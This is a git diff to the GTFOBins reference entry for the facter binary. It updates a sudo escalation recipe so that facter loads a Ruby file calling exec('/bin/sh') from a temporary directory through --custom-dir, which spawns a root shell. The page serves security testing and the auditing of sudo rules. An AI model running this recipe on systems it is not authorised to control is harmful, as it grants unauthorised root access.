diff --git a/_gtfobins/facter.md b/_gtfobins/facter.md
index d7ff4c0a..00f1b065 100644
--- a/_gtfobins/facter.md
+++ b/_gtfobins/facter.md
@@ -9,5 +9,5 @@ functions:
     - code: |
         TF=$(mktemp -d)
         echo 'exec("/bin/sh")' > $TF/x.rb
-        sudo FACTERLIB=$TF facter
+        sudo facter --custom-dir=$TF x
 ---